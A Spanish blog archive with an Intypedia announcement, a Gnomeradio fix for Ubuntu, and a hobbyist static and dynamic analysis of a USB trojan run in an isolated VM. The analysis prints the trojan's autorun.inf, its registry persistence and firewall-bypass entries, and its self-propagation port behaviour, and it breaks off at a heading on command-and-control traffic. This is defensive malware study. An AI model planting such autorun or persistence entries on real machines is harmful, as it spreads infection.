jueves, 30 de septiembre de 2010

Nace Intypedia, enciclopedia visual de Seguridad de la Información

El 29 de septiembre apareció en Internet el proyecto Intypedia (sigla del inglés, Information Security Encyclopedia), una enciclopedia visual de Seguridad de la Información.

Según dicta el Dr. Jorge Ramió Aguirre en el correo que gentilmente me envió, el nacimiento se produjo "veinticuatro horas antes de lo previsto, debido a la rapidez con la que buscadores como Google indexan información reciente en la Red".

El proyecto es uno de los tantos dentro de la Red Temática de Criptografía y Seguridad de la Información CRIPTORED, la decana de las redes temáticas con casi 11 de años de vida y de la cual Ramió Aguirre es coordinador.

Mediante vídeos educativos los personajes Alicia y Bernardo expondrán temas relacionados con la seguridad de la información basados en documentos aportados por distinguidos expertos miembros de la Red Temática, reconocidos profesores, investigadores y profesionales del sector de la seguridad. El proyecto próximamente va lanzar una versión en inglés con los Alice y Bob como instructores virtuales.
Alicia y Bernardo son los anfitriones de intypediaLa elección no es una casualidad: Alice (Alicia) y Bob (Bernardo) son los nombres de personajes que tradicionalmente se utilizan para ilustrar los ejemplos de los libros y textos de criptografía.

El proyecto es patrocinado por la Universidad Politécnica de Madrid y cuenta con el apoyo económico de GMV.

Al momento de escribir esta entrada intypedia tenía publicados sólo dos vídeos: "Presentación del Proyecto Intypedia" e "Historia de la criptografía y sus orígenes en Europa". Por supuesto, con el correr del tiempo, la biblioteca se irá incrementando para formar 10 tomos con los títulos “Fundamentos de seguridad de la información”, “Criptografía”, “Seguridad en redes”, “Aplicaciones de seguridad informática”, “Malware”, “Gestión de seguridad de la información”, “Normativas de seguridad de la información”, “Autenticación”, “Protocolos seguros” y “Legislación en seguridad de la información”.



Los vídeos (que duran entre 10 y 15 minutos) podrán ser divulgativos y, por lo tanto orientados a todo público, o bien con un mayor nivel técnico y matemático, y en este caso destinados a un público con ciertos conocimientos de ingeniería, seguridad y redes, a profesionales, técnicos, especialistas y estudiantes en general.

La fase inicial del proyecto se extiende hasta el 31 de diciembre de 2010. Durante esta instancia se subirán cuatro vídeos con las cuatro primeras lecciones sobre temas básicos de la seguridad (además del vídeo de presentación que ya mencionamos).

Sin duda esta una iniciativa atrevida y arriesgada. Lo cual, para quien escribe, es algo que aplaude y festeja.

Vaya desde aquí mis humildes felicitaciones a todos los partícipes de este hermoso e interesante proyecto :)

sábado, 7 de noviembre de 2009

Problema entre Gnomeradio y Ubuntu 9.10

Tengo en mi PC una (vieja) placa capturadora de video y sintonizadora de FM marca Kozumi, con el clásico integrado BT878.

Después de actualizar a Ubuntu 9.10 (Karmic Koala) todo funcionó sin ningún problema (hasta la fecha). Sin embargo, encontré que ya no podía escuchar FM en mi PC con Gnomeradio. Sólo se escuchaba ruido (blanco) y no detectaba ninguna emisora.

Comencé buscando en /var/log/messages y me encontré con lo siguiente:

Nov 7 11:34:06 valentina kernel: [ 13.244525] bttv: driver version 0.9.18 loaded
Nov 7 11:34:06 valentina kernel: [ 13.244528] bttv: using 4 buffers with 2080k (520 pages) each for capture
Nov 7 11:34:06 valentina kernel: [ 13.244583] bttv: Bt8xx card found (0).
[...]
Nov 7 11:34:06 valentina kernel: [ 13.248356] bttv0: tuner type=38
Nov 7 11:34:06 valentina kernel: [ 20.335961] bttv0: audio absent, no audio device found!
Nov 7 11:34:06 valentina kernel: [ 20.747127] bttv0: registered device video0
Nov 7 11:34:06 valentina kernel: [ 20.747147] bttv0: registered device vbi0
Nov 7 11:34:06 valentina kernel: [ 20.747166] bttv0: registered device radio0
[...]

Buscando por "bttv0: audio absent, no audio device found!" vi que yo no era el único que tuvo problemas con Gnomeradio luego de pasar a Ubuntu 9.10 (ni el único que usaba Gnomeradio)

Finalmente, la solución la encontré en Bugs in Ubuntu. Allí está ingresado como bug #422696.

Simplemente hay que ejecutar el Editor de Configuración de Gnome:

# gconf-editor

Una vez en el editor, desplegamos la carpeta apps y hacemos click sobre gnomeradio.

Cambiamos el valor de la clave driver, de any a v4l2 como se muestra a continuación:


Cerramos el Editor y listo. Ya pude escuchar nuevamente FM desde mi PC.

lunes, 19 de octubre de 2009

Análisis simple de un troyano (también simple)

El fin de semana coloqué mi pendrive en mi PC y encontré dos archivos sospechosos en el raíz:

strongkey-rc1.3-build-208.exe (48640 Bytes)
autorun.inf (177 Bytes)

Llamaron rápidamente mi atención ya que acostumbro a guardar mis archivos en directorios y no suelo usar ejecutables del tipo .exe porque uso Ubuntu en mis computadoras.

Recordé que días atrás había prestado el pendrive a un usuario que usa Window$ XP. No necesitaba ser Sherlock Holmes ni un especialista en seguridad para deducir que estaba frente a un troyano o algún otro engendro informático.

Lo primero que hice es buscar en Google para saber si ya alguien había reportado algo sobre este archivo ejecutable. Bien, según el sitio Zona Virus no era más que una variante del troyano Buzus y que había invadido el área informática de sanidad en España, principalmente en Madrid en los primeros meses del 2009.

Como estaba en lo cierto, aproveché a pegarle un vistazo al pequeño monstruo y ver de que se trataba.

Dividí este pequeño análisis en dos partes:
  • Análisis estático: Consiste en analizar el código binario del archivo ejecutable sin ejecutarlo.
  • Análisis dinámico: Implica ejecutar el código para estudiar el comportamiento en el sistema donde es ejecutado, incluyendo su interacción con otros sistemas (locales o remotos)
¡Cuidado!: Hay que tener ciertas precauciones antes de decidirse a estudiar código malicioso. Ambos análisis requieren de un ambiente controlado y aislado, de modo que la ejecución del código (deliverada o no) no infecte sistemas en producción.


1) Análisis estático

El análisis estático lo llevé a cabo desde una PC con Ubuntu 9.10. Es de suponer que el troyano sólo afecta a sistemas operativos del tipo Microsoft Windows, así que puedo copiar los dos archivos sospechosos a un directorio en mi computadora para realizar este análisis sin temor a infectarla.

Hecho esto, vamos a calcular el hash MD5 de ambos archivos. El hash consiste en un cálculo criptográfico del contenido del archivo. Podemos imaginarlo como una especie de "huella dactilar" que identifica unívocamente a cada archivo. Este valor es muy útil para compararlo con el hash de otros archivos sospechosos. Dos archivos con el mismo hash implica que tienen el mismo contenido en su interior, independientemente de su nombre o extensión.

Dentro del directorio donde almacené los dos archivos, el cálculo del hash MD5 se realiza de la siguiente manera:

Para el archivo autorun.inf:

$ md5sum autorun.inf
bf87d7cc3d5675ee9aa05ac45b6474ca autorun.inf

Para el archivo strongkey-rc1.3-build-208.exe:

$ md5sum strongkey-rc1.3-build-208.exe
c5cc7291d72adfc96a489fc93d35a0cd strongkey-rc1.3-build-208.exe

La cadena que nos devuelve el comando md5sum, a la izquierda del nombre del archivo es el famoso hash.

Ahora, procedemos al análisis de cada archivo.


a) Archivo autorun.inf

El archivo autorun.inf permite la ejecución de una determinada acción al momento que el sistema operativo detecta que se ha insertado un medio extraíble, como un CD, DVD o una memoria flash.

Si editamos el autorun.inf vemos:

[autorun]
shellexecute=strongkey-rc1.3-build-208.exe
action=Open folder to view files
shell\default=Open
shell\default\command=strongkey-rc1.3-build-208.exe
shell=default

Se observa que es un típico script de auto arranque de Microsoft Windows. Al insertar el dispositivo infectado (en nuestro caso, el pendrive) el sistema operativo ejecutará el archivo strongkey-rc1.3-build-208.exe.

Un análisis detallado de cada una de las opciones de un archivo autorun.inf pueden encontrarla en el sitio de Microsoft Developer Network.

Al menos sabemos que este troyano se instala al insertar un dispositivo extraíble con los archivos autorun.inf y strongkey-rc1.3-build-208.exe en el raíz de dicho dispositivo.

Como corolario, debemos aprender que en sistemas operativos de Microsoft Windows debería estar deshabilitada la opción AutoRun para que este tipo de archivos maliciosos no nos afecten. Para aprender como deshabilitar dicha opción, también podemos consultar el sitio de Microsoft Developer Network.


b) strongkey-rc1.3-build-208.exe

El análisis de este archivo es un poco más interesante, ya que es el que tiene la carga explosiva. No vamos a realizar un análisis exhaustivo, solamente usaremos algunas herramientas disponibles en GNU/Linux para escudriñar en el código.


b.1) Identificación del tipo de archivo

La primera herramienta que vamos a usar es el comando file que permite obtener información acerca del tipo de datos que contiene un archivo.

$ file strongkey-rc1.3-build-208.exe

strongkey-rc1.3-build-208.exe: PE32 executable for MS Windows (GUI) Intel 80386 32-bit

Bueno, no hemos hecho más que confirmar que el archivo es un ejecutable de Microsoft Windows.


b.2) Búsqueda de cadenas de texto en el código

La otra herramienta es el comando string que viene con el paquete build-essential en las distribuciones GNU/Linux basadas en Debian. Este comando nos mostrará todas las cadenas de texto que existen en el interior del código.

$ strings strongkey-rc1.3-build-208.exe | more

Aquí la cosa se pone más interesante. Entre las tantas cadenas de texto encontradas, estas son las más significativas que encontré:

ExitProcess
lstrcatA
GetModuleHandleA
GetProcAddress
OpenProcess
GlobalAlloc
KERNEL32.dll
calloc
memset
strlen
free
strcat
strcpy
_except_handler3
MSVCRT.dll
_exit
_XcptFilter
exit
_acmdln
__getmainargs
_initterm
__setusermatherr
_adjust_fdiv
__p__commode
__p__fmode
__set_app_type
_controlfp
RegCloseKey
RegQueryValueExA
RegOpenKeyA
ADVAPI32.dll
GetStartupInfoA

En negrita remarqué los nombres de tres bibliotecas de enlaces dinámicos (Dynamic Link Library o DLL) que al parecer el troyano utiliza para llamar a funciones predifinidas del sistema.

KERNEL32.dll: Contiene funciones para el manejo de memoria e interrupciones y de operaciones de entrada/salida. Cuando se inicia Windows, carga la biblioteca en un espacio de memoria protegida.

Las funciones de KERNEL32.dll que este troyano parece utilizar, según se visualiza en la salida del comando strings, son:

GetModuleHandleA
GetProcAddress
OpenProcess
GlobalAlloc
GetStartupInfoA


ADVAPI32.dll:
Es una biblioteca que contiene funciones avanzadas de seguridad y de manejo del registro de Microsoft Windows.

Las funciones que al parecer se utilizan son:

RegCloseKey
RegQueryValueExA
RegOpenKeyA

Las mismas permiten cerrar, consultar y abrir entradas en el registro de Microsoft Windows. Por lo tanto, esto indicaría que el troyano tiene acceso a la registry y podría modificarla.

MSVCRT.dll: Esta biblioteca contiene funciones usadas para correr programas escritos en Microsoft Visual C++.

calloc
memset
strlen
free
strcat
strcpy
_except_handler3

Podemos sospechar entonces que el troyano fue escrito en Visual C++.

b.3) Escaneo local de virus

Vamos a revisar el archivo con un antivirus instalado en la PC donde tenemos el archivo almacenado. En mi caso, desde Ubuntu utilizo ClamAV.

# clamscan strongkey-rc1.3-build-208.exe

strongkey-rc1.3-build-208.exe: Trojan.Agent-118608 FOUND

----------- SCAN SUMMARY -----------
Known viruses: 628264
Engine version: 0.95.2
Scanned directories: 0
Scanned files: 1
Infected files: 1
Data scanned: 0.04 MB
Data read: 0.04 MB (ratio 1.00:1)
Time: 2.488 sec (0 m 2 s)
----------------------------------

Vemos que ClamAV identifica al troyano como Trojan.Agent-118608.


b.4) Escaneo de virus usando servicios vía Web

Si bien ya tenemos identificado el troyano por ClamAV, es muy útil subir el archivo bajo estudio a alguno de los sitios públicos en Internet que prestan el servicio de escaneo de virus. Generalmente, dichos sitios usan varios antivirus para el escaneo y ofrecen informes muy completos del espécimen.

Uno de estos sitios es Virus Total:

Al subir el archivo strongkey-rc1.3-build-208.exe, y luego de unos segundos, obtuve la siguiente respuesta:


Como observamos, alguien me ha ganado de mano y alguien ya ha subido un archivo con el mismo hash MD5 el día 14 de junio de 2009.

Haciendo click en el botón "Ver informe anterior" podemos ver el informe de lo que se encontró. Uds. también pueden verlo en este enlace.

El informe es bastante detallado y, sobre todo, extenso como para agregarlo en este blog. Así que les pido que miren ese enlace.



En la primera sección del informe vemos un encabezado que nos habla del análisis del archivo dllcache-exe.txt. Noten que no es el mismo nombre que el que subimos. Con ese nombre han registrado previamente al archivo donde se encuentra el troyano.

Luego sigue una serie de nombres con que se conoce a dicho troyano, según distintos antivirus. Así por ejemplo, para AVG es el BackDoor.Generic11.UTM y figura en su base de datos de firmas desde el 27 de julio de 2009. En cambio McAfee lo denomina BackDoor-DOQ.gen.e y está en sus firmas desde la misma fecha que el AVG.

Luego sigue una sección con información adicional donde figura el tamaño del archivo en bytes y el hash MD5 que, como ya vimos, es igual al que calculé al principio. También hay otros hash calculados pero por otros métodos como SHA1 y SHA256 que no he usado aquí por el solo hecho de no llenar de información esta entrada.

Finalmente se muestran las salidas de una serie de herramientas que corren bajo Windows para el estudio de archivos ejecutables como PEInfo, TrID o PEiD (entre otras). Son freeware y corren sólo en Windows. Como el análisis estático lo realicé sobre Linux descarté el uso de las mismas (aunque pueden correr con Wine) pero son muy recomendables.

Por ejemplo, en el reporte de Virus Total podemos ver la información que ofrece PEInfo:

PEInfo: PE Structure information

( base data )
entrypointaddress.: 0x2EA6
timedatestamp.....: 0x4A3570D0 (Sun Jun 14 23:51:12 2009)
machinetype.......: 0x14C (Intel I386)

( 4 sections )
name viradd virsiz rawdsiz ntrpy md5
.text 0x1000 0x202C 0x2200 5.79 1e268a5ceadedcc8d0b79bfa2af2f7f4
.rdata 0x4000 0x316 0x400 3.88 010662858fc64ef80a3d482194d7f509
.data 0x5000 0x3D0 0x400 5.29 97c886537dbe96f514ecfe19c2c13a50
.tls 0x6000 0x0 0x9000 7.99 59484c1385d17bfdb85e856e88825614

( 3 imports )

> advapi32.dll: RegCloseKey, RegOpenKeyA, RegQueryValueExA > kernel32.dll: GetProcAddress, GetModuleHandleA, lstrcatA, GlobalAlloc, OpenProcess, ExitProcess, GetStartupInfoA > msvcrt.dll: strcpy, _except_handler3, _exit, _XcptFilter, strcat, _acmdln, __getmainargs, _initterm, __setusermatherr, _adjust_fdiv, __p__commode, __p__fmode, __set_app_type, _controlfp, free, strlen, memset, calloc, exit

( 0 exports )

Si se fijan, en el reporte aparecen las bibliotecas que utiliza el troyano (que habíamos descubierto con el comando strings) y las funciones que utiliza de estas (que las conocimos hurgando en Internet). Como verán, no estuvo tan mal mi método como primera aproximación.

Otros sitios interesantes para escanear en línea son ThreatExpert y VirusScan.org. En el caso del primero, el archivo no figuraba en la base de datos así que recibí un mail con un agradecimiento y un informe adjunto de lo que se encontró. Dicho informe puede visualizarse en este enlace. Pueden ver el informe de VirusScan.org desde este otro enlace.


2) Análisis dinámico

Esta es la parte más interesante del asunto pero, la más peligrosa ya que debemos infectar una computadora con el troyano. Como ya comenté, necesitamos trabajar en un entorno aislado de manera que no afecte nuestro proceder con otros sistemas (propios o agenos).

Para ello, usé una máquina virtual corriendo Windows XP Service Pack 2 (no tenía uno más actualizado). Como plataforma de virtualización usé VirtualBox, corriendo desde mi PC con Ubuntu.

A la máquina virtual le asigné 4 GB de disco rígido, 256 MB de memoria, 1 procesador... nada especial. Sin embargo, para garantizar su aislamiento, tuve la precausión de inhabilitar todos los adaptadores de red.

También configuré un directorio compartido entre la máquina anfitrión y la virtual de manera de poder pasar archivos entre ellas. Pero, para que esto funcione, hay que instalar en la virtual el paquete Guest Additions for Windows. El directorio compartido es visible por la máquina virtual aún sin ningún adaptador de red habilitado. En dicho directorio coloqué el archivo strongkey-rc1.3-build-208.exe que contiene el troyano y algunas herramientas que nombraré a continuación.


2.1) Algunos ingredientes necesarios

Dentro de la máquina virtual necesité las siguientes herramientas:

a) RegShot: Permite tomar el estado del registro de Windows, compararlo con otro estado previo y mostrar las diferencias.

b) TCPView: Muestra las conexiones UDP y TCP de manera bastante más detallada que el comando netstat de Windows.

El primero es distribuido bajo GPL mientras que TCPView es privativp (pero freeware).

Ninguna de estas utilidades requiere instalación, así que las coloqué en el directorio compartido ya nombrado y desde allí las ejecuté.

TCPView forma parte de un conjunto de herramientas para sistemas operativos Microsoft Windows conocido como Sysinternals Suite. Aquellos que les interese jugar al forense (como a mí) o administran sistemas en Windows les recomiendo que prueben estas utilidades.

En la máquina anfitrión va a ser necesario un analizador de protocolos o sniffer. En mi caso, usé Wireshark.

Una vez todo dispuesto es necesario guardar una instantánea del estado de la máquina virtual antes de infectarla. De este modo, es posible volver a dicho estado y empezar de nuevo con una máquina "limpia".


2.2) La previa

2.2.1) Regshot
Ejecuté regshot desde el directorio compartido. Primeramente lo configuré en nuestro idioma seleccionando el desplegable correspondiente.

Teniendo ya configurado la aplicación en español tomé una "fotografía" del estado del registro de Windows, previo a la infección con el troyano. Simplemente pulsando el botón
1er. Foto y luego en Foto + guardar...


Elegimos un nombre y un lugar donde guardar el estado actual del registro.

2.2.3) TCPView
Sin cerrar la ventana de regshot ejecuto TCPView en la máquina virtual, desde la carpeta compartida donde lo guardé. Si es la primera vez que lo ejecutamos, vamos a tener que aceptar los términos de la licencia:


Luego, sin la ejecución de programas que realicen conexiones via TCP/IP, deberíamos ver algo como lo siguiente en el TCPView:

Vemos los procesos que están escuchando en distintos puertos TCP o UDP a la espera de alguna conexión.

2.2.4) Wireshark
En la máquina anfitrión abro Wireshark con permisos de root (ya que me lo exige en Ubuntu para levantar la interface de red en modo promiscuo).

Para evitar capturar tráfico que nada tiene que ver con la actividad de nuestro troyano (broadcast, ARP, etc) apliqué un filtro de captura de modo de tomar sólo el tráfico proveniente o que tenga con destino la dirección IP de la máquina virtual (192.168.1.100).


2.4) La inevitable infección
Bien, una vez cumplidos con todos estos preparativos ya me fue posible infectar la máquina virtual. Para ello, simplemente hice un doble click sobre el archivo en estudio.

Desde el punto de vista de un usuario normal, nada sospechoso ocurre. Pero en la ventana de captura de Wireshark empiezan a aparecer paquetes que muestran actividad de red que nadie ha demandado. En a ventana de TCPView aparecen innumerables intentos de conexiones a distintas direcciones IP, como se observa a continuación:



Luego de unos minutos, volvemos a la ventana de regshot que dejamos abierta en la máquina virtual y pulsamos sobre el botón 2da. Foto y luego en Foto + guardar para tomar una imágen del registro de Windows posterior a la infección.


Finalmente, pulsamos el botón Comparar para descubrir que es lo que cambió en el registro de Windows desde la infección:

Esto nos genera un archivo de texto que guardé en la carpeta compartida.


2.5) Análisis de los cambios en el registro de Windows

Si abrimos el archivo generado por el regshot vamos a ver que al infectar la máquina virtual el troyano ha agregado un número considerable de claves al registro de Windows. Es bastante complejo realizar un análisis completo de estos cambios y no es mi idea llevarlo a cabo. Símplemente, vamos a mostrar lo que creo más relevante.

a) Para ejecutarse cuando se inicia el sistema, el troyano agrega la siguiente clave:

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\netmon: "C:\WINDOWS\system\dllcache.exe"

b) El troyano ha agregado claves en el registro para que se ejecute un proceso llamado dllcache cuando la máquina infectada intente arrancar en Modo seguro o Modo a prueba de fallas.

HKLM\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\dllcache
HKLM\SYSTEM\ControlSet001\Control\SafeBoot\Network\dllcache
[...]
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\dllcache
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\dllcache
[...]
HKLM\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\dllcache\: "Service"
HKLM\SYSTEM\ControlSet001\Control\SafeBoot\Network\dllcache\: "Service"
[...]
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\dllcache\: "Service"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\dllcache\: "Service"

c) Autoriza a la aplicación dllcache.exe traspasar al firewall de Windows si este está activo:

HKLM\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List\C:\WINDOWS\system\dllcache.exe: "C:\WINDOWS\system\dllcache.exe:*:Microsoft Enabled"
[...]
HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List\C:\WINDOWS\system\dllcache.exe: "C:\WINDOWS\system\dllcache.exe:*:Microsoft Enabled"

d) El troyano registra el archivo sysdrv32.sys, ubicado en C:\WINDOWS\system32\drivers\, como un manejador de un supuesto dispositivo de Entrada/Salida. Este inicia un servicio llamado "Play Port I/O Driver", tanto en el arranque en Modo seguro como en Modo normal:

HKLM\SYSTEM\ControlSet001\Enum\Root\LEGACY_SYSDRV32\0000\Control\*NewlyCreated*: 0x00000000
HKLM\SYSTEM\ControlSet001\Enum\Root\LEGACY_SYSDRV32\0000\Control\ActiveService: "sysdrv32"
HKLM\SYSTEM\ControlSet001\Enum\Root\LEGACY_SYSDRV32\0000\Service: "sysdrv32"
HKLM\SYSTEM\ControlSet001\Enum\Root\LEGACY_SYSDRV32\0000\Legacy: 0x00000001
HKLM\SYSTEM\ControlSet001\Enum\Root\LEGACY_SYSDRV32\0000\ConfigFlags: 0x00000000
HKLM\SYSTEM\ControlSet001\Enum\Root\LEGACY_SYSDRV32\0000\Class: "LegacyDriver"
HKLM\SYSTEM\ControlSet001\Enum\Root\LEGACY_SYSDRV32\0000\ClassGUID: "{8ECC055D-047F-11D1-A537-0000F8753ED1}"
HKLM\SYSTEM\ControlSet001\Enum\Root\LEGACY_SYSDRV32\0000\DeviceDesc: "Play Port I/O Driver"
HKLM\SYSTEM\ControlSet001\Enum\Root\LEGACY_SYSDRV32\NextInstance: 0x00000001
[...]
HKLM\SYSTEM\ControlSet001\Services\sysdrv32\Type: 0x00000001
HKLM\SYSTEM\ControlSet001\Services\sysdrv32\Start: 0x00000003
HKLM\SYSTEM\ControlSet001\Services\sysdrv32\ErrorControl: 0x00000001
HKLM\SYSTEM\ControlSet001\Services\sysdrv32\ImagePath: "\??\C:\WINDOWS\system32\drivers\sysdrv32.sys"
HKLM\SYSTEM\ControlSet001\Services\sysdrv32\DisplayName: "Play Port I/O Driver"
HKLM\SYSTEM\ControlSet001\Services\sysdrv32\Group: "SST wanport drivers"
HKLM\SYSTEM\ControlSet001\Services\sysdrv32\Enum\0: "Root\LEGACY_SYSDRV32\0000"
HKLM\SYSTEM\ControlSet001\Services\sysdrv32\Enum\Count: 0x00000001
HKLM\SYSTEM\ControlSet001\Services\sysdrv32\Enum\NextInstance: 0x00000001
HKLM\SYSTEM\ControlSet001\Services\sysdrv32\Security\Security: 01 00 14 80 90 00 00 00 9C 00 00 00 14 00 00 00 30 00 00 00 02 00 1C 00 01 00 00 00 02 80 14 00 FF 01 0F 00 01 01 00 00 00 00 00 01 00 00 00 00 02 00 60 00 04 00 00 00 00 00 14 00 FD 01 02 00 01 01 00 00 00 00 00 05 12 00 00 00 00 00 18 00 FF 01 0F 00 01 02 00 00 00 00 00 05 20 00 00 00 20 02 00 00 00 00 14 00 8D 01 02 00 01 01 00 00 00 00 00 05 0B 00 00 00 00 00 18 00 FD 01 02 00 01 02 00 00 00 00 00 05 20 00 00 00 23 02 00 00 01 01 00 00 00 00 00 05 12 00 00 00 01 01 00 00 00 00 00 05 12 00 00 00
[...]
HKLM\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_SYSDRV32\0000\Control\*NewlyCreated*: 0x00000000
HKLM\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_SYSDRV32\0000\Control\ActiveService: "sysdrv32"
HKLM\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_SYSDRV32\0000\Service: "sysdrv32"
HKLM\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_SYSDRV32\0000\Legacy: 0x00000001
HKLM\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_SYSDRV32\0000\ConfigFlags: 0x00000000
HKLM\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_SYSDRV32\0000\Class: "LegacyDriver"
HKLM\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_SYSDRV32\0000\ClassGUID: "{8ECC055D-047F-11D1-A537-0000F8753ED1}"
HKLM\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_SYSDRV32\0000\DeviceDesc: "Play Port I/O Driver"
HKLM\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_SYSDRV32\NextInstance: 0x00000001
[...]
HKLM\SYSTEM\CurrentControlSet\Services\sysdrv32\Type: 0x00000001
HKLM\SYSTEM\CurrentControlSet\Services\sysdrv32\Start: 0x00000003
HKLM\SYSTEM\CurrentControlSet\Services\sysdrv32\ErrorControl: 0x00000001
HKLM\SYSTEM\CurrentControlSet\Services\sysdrv32\ImagePath: "\??\C:\WINDOWS\system32\drivers\sysdrv32.sys"
HKLM\SYSTEM\CurrentControlSet\Services\sysdrv32\DisplayName: "Play Port I/O Driver"
HKLM\SYSTEM\CurrentControlSet\Services\sysdrv32\Group: "SST wanport drivers"
HKLM\SYSTEM\CurrentControlSet\Services\sysdrv32\Enum\0: "Root\LEGACY_SYSDRV32\0000"
HKLM\SYSTEM\CurrentControlSet\Services\sysdrv32\Enum\Count: 0x00000001
HKLM\SYSTEM\CurrentControlSet\Services\sysdrv32\Enum\NextInstance: 0x00000001
HKLM\SYSTEM\CurrentControlSet\Services\sysdrv32\Security\Security: 01 00 14 80 90 00 00 00 9C 00 00 00 14 00 00 00 30 00 00 00 02 00 1C 00 01 00 00 00 02 80 14 00 FF 01 0F 00 01 01 00 00 00 00 00 01 00 00 00 00 02 00 60 00 04 00 00 00 00 00 14 00 FD 01 02 00 01 01 00 00 00 00 00 05 12 00 00 00 00 00 18 00 FF 01 0F 00 01 02 00 00 00 00 00 05 20 00 00 00 20 02 00 00 00 00 14 00 8D 01 02 00 01 01 00 00 00 00 00 05 0B 00 00 00 00 00 18 00 FD 01 02 00 01 02 00 00 00 00 00 05 20 00 00 00 23 02 00 00 01 01 00 00 00 00 00 05 12 00 00 00 01 01 00 00 00 00 00 05 12 00 00 00

Ante tanta evidencia, me vi tentado en dirigirme a C:\WINDOWS\system para buscar el archivo dllcache.exe. Sin embargo, no existía dicho ejecutable ni estaba como archivo oculto.

Algo similar ocurría con el supuesto manejador sysdrv32.sys en C:\WINDOWS\system32\drivers.

Desde la ventana de TCPView seguía viendo actividad de red generada por un proceso inexistente. Haciendo click con el botón derecho sobre cualquiera de estas y seleccionando Process Propierties vemos lo siguiente:


Nuevamente, aparece el misterioso C:\WINDOWS\system\dllcache.exe que no es visible a simple vista.

Para sacarme la duda, reinicié la máquina virtual desde un CD con Knoppix. Monté el disco virtual como sólo lectura y me dirigí a /media/hda1/WINDOWS/system y ahí estaba:


Por lo tanto, no estaba loco y con lo cual me quedaba un poco más tranquilo.

Calculando el hash MD5 de dllcache.exe obtuve:

$ md5sum /media/hda1/WINDOWS/system/dllcache.exe
c5cc7291d72adfc96a489fc93d35a0cd /media/hda1/WINDOWS/system/dllcache.exe

que es idéntico al hash calculado para el archivo strongkey-rc1.3-build-208.exe, desde donde infecté a la máquina virtual. Luego, ambos archivos son iguales.

Podemos deducir que el troyano una vez ejecutado se copia en C:\WINDOWS\system\ bajo el nombre dllcache.exe.

Siempre desde Knoppix, cambié a /media/hda1/WINDOWS/system32/drivers para ver si estaba el archivo sysdrv32.sys. Por supuesto, ahí estaba:

Calculé el hash MD5 de dicho archivo:

$ md5sum /media/hda1/WINDOWS/system32/drivers/mediarsysdrv32.sys
0e219b74e2c68a34ca09d8fe114f6d11 /media/hda1/WINDOWS/system32/drivers/sysdrv32.sys

Noten que el hash es distindo al de dllcache.dll, por lo que es distinto a este archivo. Por supuesto, el tamaño es distinto: sysdrv32.sys ocupa 11656 bytes, mientras que dllcache.exe ocupa 48640 bytes.

Adelantándome un poco, el troyano en ningún momento fue capás de bajar ningún archivo de Internet. Como no existe la generación expontánea o autogénesis entre bits y bytes, el archivo sysdrv32.sys no puede provenir de otro lado que de dllcache.exe, la imágen exacta de strongkey-rc1.3-build-208.exe desde donde infecté a la máquina virtual.

Seguidamente obtuve una copia desde Knoppix de sysdrv32.sys para poder realizar un análisis estático del mismo.

No voy a repetir aquí todo este análisis para no aburrilos. Lo ciertoes que en la búsqueda de cadenas de textos obtuve las siguientes interesantes:

[...]
tcpip.sys
tcpip.sys
[...]
RSDS
gz54
b:\driver_new\i386\tcpz-x86.pdb
IoDeleteDevice
IoDeleteSymbolicLink
RtlInitUnicodeString
ExFreePoolWithTag
_stricmp
ExAllocatePoolWithTag
ZwQuerySystemInformation
RtlGetVersion
MmIsAddressValid
RtlQueryRegistryValues
KeDelayExecutionThread
IofCompleteRequest
PsCreateSystemThread
KeInitializeSpinLock
IoCreateSymbolicLink
IoCreateDevice
KeTickCount
KeBugCheckEx
ntoskrnl.exe
KfReleaseSpinLock
KfAcquireSpinLock
HAL.dll
[...]

Cuando revisé el archivo con ClamAV obtuve el siguietnte resultado:

$ clamscan sysdrv32.sys

sysdrv32.sys: Backdoor.Agent-10 FOUND

----------- SCAN SUMMARY -----------
Known viruses: 657374
Engine version: 0.95.3
Scanned directories: 0
Scanned files: 1
Infected files: 1
Data scanned: 0.01 MB
Data read: 0.01 MB (ratio 1.00:1)
Time: 2.692 sec (0 m 2 s)

Al subir el archivo a TheaterExpert obtuve el siguiente reporte donde se hace hincapié en que (entre otras cosas) tiene funcionalidades de rootkit de modo tal que puede esconderse por sí mismo en el sistema de archivos.

No queda claro, pero tal vez, nuestro troyano use las funcionalidades de esta parte de código también para ocultar al archivo dllcache.exe. Tal vez, algún lector que entienda más de rootkits en Windows me lo pueda aclarar.


2.6) Análisis de conexiones de red

He capturado unos cuantos minutos con Wireshark de la actividad de red que se regiustraba cuando el troyano estaba ejecutándose. Con TCPView se puso de manifiesto que el troyano intenta realizar numerosas conexiones de red desde un proceso que terminó siendo dllcache.exe.


a) Apertura del puerto TCP 8073 en la máquina infectada

En la PC infectada el troyano mantiene abierto el puerto TCP 8073 (dicho puerto es aleatorio) a la espera de conexiones desde otros hosts remotos.

Esto queda evidenciado desde la ventana de TCPView que ya hemos mostrado anteriormente.

Si desde un navegador intentamos ingresar a ese puerto, por ejemplo, desde la máquina anfitrión obtenemos un archivo con nombre aleatorio que no es más que una copia del troyano.

Por ejemplo:

$ wget http://192.168.1.100:8073 -O XXX.exe

Si calculo el hash MD5 del archivo XXX.exe obtenido:

$ md5sum XXX.exe
c5cc7291d72adfc96a489fc93d35a0cd XXX.exe

¡Qué es el mismo que el hash del archivo strongkey-rc1.3-build-208.exe y de dllcache.exe!

Como conclusión, y aunque sea bastante idiota, uno de los métodos de propagación es mediante un puerto aleatorio que se abre en la PC infectada.


b) Conexión al dominio ninjawarlord.com por el puerto TCP 4545

